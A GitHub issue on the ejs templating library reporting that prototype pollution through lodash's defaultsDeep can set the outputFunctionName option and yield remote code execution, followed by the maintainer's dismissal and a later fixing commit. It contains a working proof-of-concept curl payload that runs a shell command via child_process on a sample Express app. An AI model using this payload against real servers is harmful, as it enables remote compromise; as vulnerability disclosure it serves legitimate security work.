Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unrestricted render option may lead to a RCE vulnerability #451

Closed
evi0s opened this issue Aug 24, 2019 · 1 comment
Closed

Unrestricted render option may lead to a RCE vulnerability #451

evi0s opened this issue Aug 24, 2019 · 1 comment

Comments

@evi0s
Copy link

evi0s commented Aug 24, 2019

By passing an unrestricted render option can lead to a RCE vulnerability.

If attacker can control server render option eg: outputFunctionName, that can inject evil code to the render engine.

There is a simply way to control that option by using prototype pollution.

For a short express application example

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');

const app = express();

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());

app.set('views', './');
app.set('view engine', 'ejs');

app.get("/", (req, res) => {
    res.render('index');
});

app.post("/", (req, res) => {
    let data = {};
    let input = JSON.parse(req.body.content);
    lodash.defaultsDeep(data, input);
    res.json({message: "OK"});
});

let server = app.listen(8086, '0.0.0.0', function() {
    console.log('Listening on port %d', server.address().port);
});

By default outputFunctionName is undefined, but after the attacker post the following data:

curl 127.0.0.1:8086 -v --data 'content={"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}}}'
curl 127.0.0.1:8086 -v # Trigger render and getshell

Due to prototype pollution, the Object now has attribute outputFunctionName which the attcker controls, then inject to variable prepended and getshell. At ejs.js L575

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // following code has been commented'

I don't think this would be easy to inject that code, but if attacker can use other security vulnerability or developer's mistakes at the same time, it would be a very serious problem.

@mde
Copy link
Owner

mde commented Aug 24, 2019

The problem here is that EJS is simply a way of executing JS to render a template. If you allow passing of arbitrary/unsanitized options and data to the render function, you will encounter all security problems that would occur as a result of arbitrary code execution. Henny Youngman used to tell a joke: "The patient says, 'Doctor, it hurts when I do this.' So the doctor says, 'Then don't do that!'" I'm open to PRs that improve security, but this looks to me to be far beyond the purview of the library. These responsibilities live squarely in userland.

@mde mde closed this as completed Aug 24, 2019
nicdumz added a commit to nicdumz/ejs that referenced this issue May 30, 2021
This prevents injection of arbitrary code if the server is already
vulnerable to prototype poisoning. This resolves mde#451.

I deliberately opted to not support complex Unicode identifiers even
though they're valid JS identifiers. They're complex to validate and
users probably shouldn't even try to be that creative.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants